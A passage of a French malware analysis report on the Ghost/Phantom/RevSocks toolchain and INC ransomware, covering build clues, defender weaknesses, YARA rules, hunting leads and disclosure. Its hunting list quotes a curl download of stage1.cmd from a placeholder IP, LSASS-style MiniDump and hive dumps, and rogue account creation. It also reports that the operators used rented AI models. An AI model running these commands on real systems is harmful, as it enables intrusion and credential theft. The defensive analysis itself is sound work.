L'article de SOCRadar, repris par la presse spécialisée, décrit une partie que les échantillons ne montrent pas : les opérateurs pilotaient leurs intrusions depuis OpenCode avec des modèles loués via OpenRouter, sous les identifiants anthropic/claude-opus-4.6 et moonshotai/kimi-k3, soit 8 257 messages sur 133 sessions d'après les journaux retrouvés sur leurs serveurs. Je n'ai pas eu accès à ces journaux, ce point vient de l'article seul. Il justifie la présence des fournisseurs de modèles et de la passerelle parmi les destinataires de la divulgation (§17). Le nom « Phantom » est aussi un alias de l'ensemble de rançongiciel Ghost décrit dans un avis CISA, FBI et MS-ISAC ; ici « Ghost » et « Phantom » ne sont que des noms de familles d'outils tirés des noms de fichiers du dépôt, et ne doivent pas être confondus avec lui.

11. Chronologie

12. Recoupements entre familles

Le blob de clé CryptoAPI de même disposition en mémoire, le patch ETW identique et le contrôle de Sleep reviennent dans plusieurs familles compilées avec la même chaîne MinGW. Avec l'infrastructure partagée (§9) et le domaine api.system-strategy.org commun à tous, cela établit une boîte à outils commune, pas une identité de personnes. Je n'attribue l'activité à aucun acteur nommé.

Indices de chaîne de compilation

Les métadonnées des 64 exécutables Windows sont dans osint/attribution_metadata.csv. Les versions de l'éditeur de liens MinGW distinguent plusieurs environnements de compilation : 2.41 pour 26 fichiers (RevSocks et Ghost, du 2026-07-08 au 2026-09-22), 2.45 pour 8 fichiers (surtout Phantom, du 2026-06-26 au 2026-08-30), 2.35 pour les six encrypteurs INC compilés le 2025-08-14 et 2.25 pour le septième encrypteur. Les agents MSVC de fin juillet utilisent l'éditeur 14.51. Les binaires Go n'ont pas d'horodatage PE exploitable. Aucune langue de ressource ne donne d'indice géographique, et la plupart des fichiers n'ont ni ressource ni en-tête Rich. Ces constats montrent plusieurs machines ou images de build, ils n'identifient personne. Les 47 horodatages PE exploitables se répartissent sur 20 jours distincts entre 2023-06-15 et 2026-09-22, sans fuseau horaire qui ressorte : 25 sont entre 12:00 et 15:59 UTC, mais d'autres tombent à 03:00, entre 07:00 et 08:59 et entre 19:00 et 20:59, et dix sont un dimanche. Les versions de Go vont de 1.22.4 à 1.26.5 selon l'outil. Seuls trois binaires Go (les trois rks3, même révision 125a84a1d3 du 2026-07-06 07:31:05 UTC, arbre modifié) et restic (révision amont du 2026-06-26 20:33:38 UTC, arbre modifié) portent une information de contrôle de version ; les autres ont été compilés sans. Ces horodatages ne permettent pas de déduire les heures de travail d'une personne.

13. Faiblesses exploitables par les défenseurs

1. Clé avec la donnée, quatre fois. Meterpreter (clé dans .data), cradle (48 octets de préfixe), RevSocks (XOR constant ou en .data), Ghost (clé de build dans .rdata). Une seule capture suffit pour retrouver la charge suivante.
2. Configuration C2 récupérable statiquement. Le chargeur Meterpreter et les générations Ghost se déchiffrent hors ligne, ce qui permet d'extraire les indicateurs d'un nouveau build sans l'exécuter, avec les outils fournis.
3. Identifiants Telegram intégrés. Le jeton et la conversation d'un build sont dans le binaire. Un signalement à Telegram coupe le canal de tous les exemplaires du même build.
4. Faux certificats auto-signés. Les certificats CN=Microsoft Corporation ont un sujet égal à l'émetteur, sans pays ni localité, et une validité d'un an exactement à partir de l'horodatage de compilation. La règle FakeMicrosoft_SelfSigned_Authenticode les détecte. Les certificats « SysTool Software Ltd. » sont d'une autre nature : pays GB, ville London, validité du 2026-06-25 au 2036-06-22, avec un contre-seing d'horodatage DigiCert daté du 2026-06-27 06:14:17 UTC pour l'un et du 2026-07-06 08:12:59 UTC pour d'autres. Ces dates viennent d'un tiers et DigiCert détient la trace des demandes.
5. Récurrence d'un même en-tête Host et d'un même chemin. Utile en détection réseau (§15).
6. Traces de fabrication. Chemin runneradmin, marqueur dans WER\ReportQueue, jeton 6599207047... constant sur quatre variantes.

14. Portée et limites

Établi par décompilation, émulation ou lecture directe : la macro, le cradle PowerShell, le beacon Python, le chargeur Meterpreter et son payload, la configuration des trois générations Ghost, la logique des seize builds RevSocks (quatre chargeurs et injecteurs de juillet, dix agents de tunnel, deux injecteurs de septembre), les chaînes masquées de Ghost_dloader et Ghost_dump_ppl (dont l'identité du pilote BYOVD : Dell DBUtil_2_3.sys, CVE-2021-21551, embarqué dans le binaire), le chargeur Ghost_OneDriveSync, les outils Go d'exfiltration, les modifications entre builds INC et leur date de fabrication, la clé publique et la note de rançon des 39 encrypteurs ELF, les métadonnées Go et les certificats de signature, ainsi que le rôle des outils Phantom listés au §7. Le protocole de la version 4 des agents RevSocks (hors points listés ci-dessous), les paramètres de chiffrement par fichier des encrypteurs INC ELF et le ciblage de Lynx sont établis par décompilation et émulation. Les rôles du moniteur d'impression, des contournements UAC et des exploits locaux sont établis par lecture du code. Je n'ai exécuté aucun exploit.

Établi par OSINT passif : détenteurs de blocs, dates d'enregistrement, serveurs de noms, historiques de certificats, couverture abuse.ch, DNS passif et fichiers contactant l'infrastructure (VirusTotal, palier gratuit : les listes sont tronquées à 20 ou 40 éléments par requête et reflètent ce que VirusTotal a vu, pas l'exhaustivité).

Établi par extraction statique de la couche Donut de Ghost_OneDriveSync : instance déchiffrée hors ligne, module EXE x64 extrait, rôle d'implant Ghost de troisième génération établi par l'identifiant de build, la configuration Telegram identique à celle de l'implant du lot, l'API Telegram, le faux certificat et la détection par deux règles existantes.

Établi par corrélation avec des bacs à sable publics (MalwareBazaar, Triage, Hybrid Analysis, VMRay, Intezer, CAPE) : Ghost_loader est identifié comme Meterpreter / Metasploit Framework (CAPE, Intezer, VMRay). Ghost_OneDriveSync est identifié comme DonutLoader (Triage score 10, VMRay). Les injecteurs RevSocks de septembre (d4ae978d, 8bba4738) et l'agent v4 90fe2b57 ne déclenchent qu'un score 3 dans Triage (tag discovery uniquement) : leurs contrôles anti-bac à sable (délai, vérification RAM et CPU, SbieDll.dll) ont évité la détection comportementale dans les environnements sans configuration manuelle, et les captures réseau montrent en plus que les chargeurs ont rejeté le certificat auto-signé du serveur avant tout transfert (§10). ANY.RUN ne signale aucune menace non plus, sans doute pour les mêmes raisons. ReversingLabs donne 4/24 détections AV pour l'injecteur explorer et 12/24 pour Ghost_OneDriveSync.

Non établi : le déclencheur et la finalité de la copie suivie d'un effacement dans Ghost_AetherPulse.dll (son rôle exact et son rattachement à la campagne), le contenu de stage1.cmd (absent du lot), le fonctionnement de l'« exploit » CVE-2025-62215 au-delà d'une course de handles sans primitive noyau démontrée, la confirmation au désassemblage de la disposition du trailer du chiffreur Lynx, la destination exacte de l'envoi HTTP de Ghost_dump_ppl (passée en argument à l'exécution, pas intégrée dans le binaire) et, pour la version 4 des agents RevSocks, le côté serveur et le contenu exact de la réponse au ping (l'agent accepte le certificat auto-signé du serveur d'après la capture Triage). L'usage de DNS comme troisième canal Ghost annoncé par l'article n'a pas été observé dans les échantillons examinés. L'attribution à INC ou Gentlemen repose sur l'article et sur les étiquettes du rapporteur.

Je n'ai envoyé aucune requête aux serveurs de l'opérateur. Le contenu actuel de agent.enc, de la réponse /api/v2/update et de l'API Telegram n'est donc pas connu. J'ai lu l'article le 2026-10-24, dans sa version mise à jour du 2026-10-23. Les neuf hashs INC qu'il cite sont tous dans le lot, rattachés aux lots décrits au §8, et les rôles qu'il donne aux adresses et aux domaines concordent avec ce que les échantillons montrent. Il ne mentionne ni Meterpreter, ni 138.124.123.56, ni 141.98.83.180 : ces trois éléments sortent de l'analyse des fichiers.

Politique de publication : les clés et secrets propres aux logiciels malveillants (XOR, secret ChaCha20, clés de chiffrement des chargeurs) sont reproduits parce qu'ils permettent de déchiffrer des captures ; les identifiants d'accès de l'opérateur (jetons des bots Telegram, clé AES de l'agent Athena) ne sont écrits dans aucun fichier, public ou restreint, et se recouvrent au besoin par les outils fournis ; les noms de tiers et les données personnelles sont consignés dans le dossier restreint.

15. Détection

Fichiers fournis : ghost_phantom_toolchain.yar (18 règles, dont une pour les 39 encrypteurs ELF et leur ESXi antérieur, une règle structurelle qui reconnaît les 16 builds RevSocks, et une règle structurelle pour le blob Donut déchiffré de Ghost_OneDriveSync, fondée sur l'égalité entre le déplacement du CALL initial et le champ de longueur de l'instance), iocs.csv, stix_bundle.json, cluster_inventory.csv. Les règles correspondent à 90 fichiers du lot sur 114 (17 des 18 règles, la dix-huitième visant le blob Donut déchiffré, hors lot ; plus le blob Donut et le PE extraits, que deux règles existantes détectent aussi). J'ai testé les règles en négatif sur environ 6 600 exécutables et bibliothèques Windows présents sur la machine d'analyse (.NET, SDK Android, JDK, Ghidra, paquets Python), environ 4 000 binaires Linux de /usr/bin et d'autres échantillons sans rapport conservés dans le répertoire de travail : aucune correspondance, hormis celle, attendue, d'une copie de Ghost_loader qui s'y trouve. Ce corpus est de composition limitée (pas de logiciels malveillants tiers ni de gros parc de binaires Go ou Rust signés) et ne remplace pas un test sur un corpus de production. Ne sont pas couverts (24 fichiers) : Ghost_AetherPulse, Ghost_agent, Ghost_colorui5, Ghost_dloader, Ghost_ghost_loader, Ghost_ntlm_test, QuickLine (hôte monofichier), les agents Python et WUServiceHost, les deux modèles Phantom, les exploits et neutralisations MinGW (cve202562215, elevate, nightmare, pnloader, quickheal-killer, zloader), Phantom_nethost, Phantom_wp2shell et l'agent Ligolo compressé par UPX.

Pistes de chasse :

• Processus cmd.exe dont le parent est wmiprvse.exe et dont la ligne de commande lance curl.exe, notamment après l'ouverture d'un document Word.
• Word qui crée un processus cmd.exe par WMI avec curl.exe -sk -o %TEMP%\u.cmd http://<ip>:8000/scripts/stage1.cmd.
• Requête HTTPS dont l'en-tête Host est api.system-strategy.org alors que la destination est une adresse IP, notamment 89.185.83.8.
• Processus qui lit ntdll.dll sur le disque puis rend inscriptible le .text de son propre ntdll.
• Écriture de 48 33 C0 C3 en tête d'EtwEventWrite.
• Dépôt de %TEMP%\msedge_update.exe ou lancement de explorer.exe/RuntimeBroker.exe avec un fil distant.
• Chargement de zam64.sys ou ouverture de \\.\ZemanaAntiMalware.
• Dépôt ou chargement de DBUtil_2_3.Sys, ouverture de \\.\DBUtil_2_3 (CVE-2021-21551, composant BYOVD de Ghost_dump_ppl).
• Requête HTTP sortante avec User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (60 octets exactement, sans le reste du champ Chrome) depuis un processus Go non signé.
• rundll32 comsvcs.dll, MiniDump vers C:\Windows\Temp\d.dmp.
• Binaire signé par un certificat auto-signé Microsoft Corporation ou SysTool Software Ltd..
• Création de INC-README.txt et renommage massif en .INC.
• Tâche planifiée RealtekAudioSvc lançant svc.py (nom cité par l'article, non observé dans les échantillons), tâche planifiée Microsoft\Windows\Maintenance\StorageSync, fichier %ProgramData%\Microsoft\Crypto\RSA\update.sct, écriture sous HKCU\Software\Classes\ms-settings\Shell\Open\command ou détournement de la bibliothèque de types {EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}.
• Fichiers C:\Windows\Temp\s.dat, se.dat, sy.dat (ruches enregistrées par reg save), d.dmp et pn_done.txt.
• Compte local pnadmin créé par net user /add, dossier C:\Windows \System32 (avec une espace) et C:\Uyap.
• Processus vmware-usbarbitrator hors d'une installation VMware, qui se connecte à une adresse extérieure sur le port 443.
• Le motif 48 33 C0 C3 seul n'est pas une signature : il existe dans de nombreux binaires légitimes et ne caractérise le patch ETW qu'en contexte.

Le détail à destination des équipes de réponse est dans remediation.md.

Cartographie MITRE ATT&CK

Techniques observées par décompilation ou émulation, au niveau capacité (pas d'identifiant de sous-technique quand plusieurs s'appliquent et n'ont pas été distinguées) :

Cette cartographie couvre la capacité observée, pas la séquence d'implémentation : elle ne remplace pas une lecture du code pour un composant donné et n'est pas une liste exhaustive des sous-techniques.

16. Reproduire l'analyse

Environnement : Linux, Ghidra et pyghidra, pycryptodome, pefile, Unicorn, oletools, OpenSSL, YARA. Commandes dans runbook.md.

python3 tools/triage_cluster.py binaries/cluster osint/triage
python3 tools/decompile_all.py <echantillon> <sortie.txt>
python3 tools/emulate_string_decoder.py <echantillon> <VA_decodeur> "qw:<q0>,<q1>,<q2>:24"
python3 tools/extract_encoded_strings.py <echantillon> <sortie.txt> <fonction_principale> <decodeur> [<VA_contexte>]
python3 tools/emulate_v4_kdf.py .                                   # dérivation de clé RevSocks v4 contre hashlib
python3 tools/revsocks_codec.py selftest                            # codec du tunnel RevSocks
python3 tools/revsocks_codec.py decrypt --secret <secret> flux.bin  # déchiffre une session capturée
python3 tools/ghidra_api_callgraph.py <dll> <sortie.txt> <projet>   # chemins d'appel depuis les exports vers des API
yara -r ghost_phantom_toolchain.yar binaries/cluster

17. Divulgation responsable

Les signalements partent avec ce billet, pas après : les hébergeurs (Digi Cloud, NetCrafters, Aeza, Flyservers, FineISP), Cloudflare, les registrars, Telegram pour les deux bots et la conversation 8809711703, GitHub pour le chemin runneradmin, Microsoft pour l'usage de sa marque, les éditeurs de modèles et la passerelle cités par l'article, SOCRadar et le CERT national. Le dossier préparé pour eux (ordre d'envoi, contacts d'abus officiels, courriers, liste de ce qu'il ne faut pas transmettre, résumé bilingue, manifeste d'empreintes) n'est pas publié. Seul l'export STIX 2.1 l'est (stix_bundle.json). Le signalement à Telegram est le plus pressé : les jetons des deux bots sont lisibles dans les rapports publics de Triage depuis le 2026-10-20.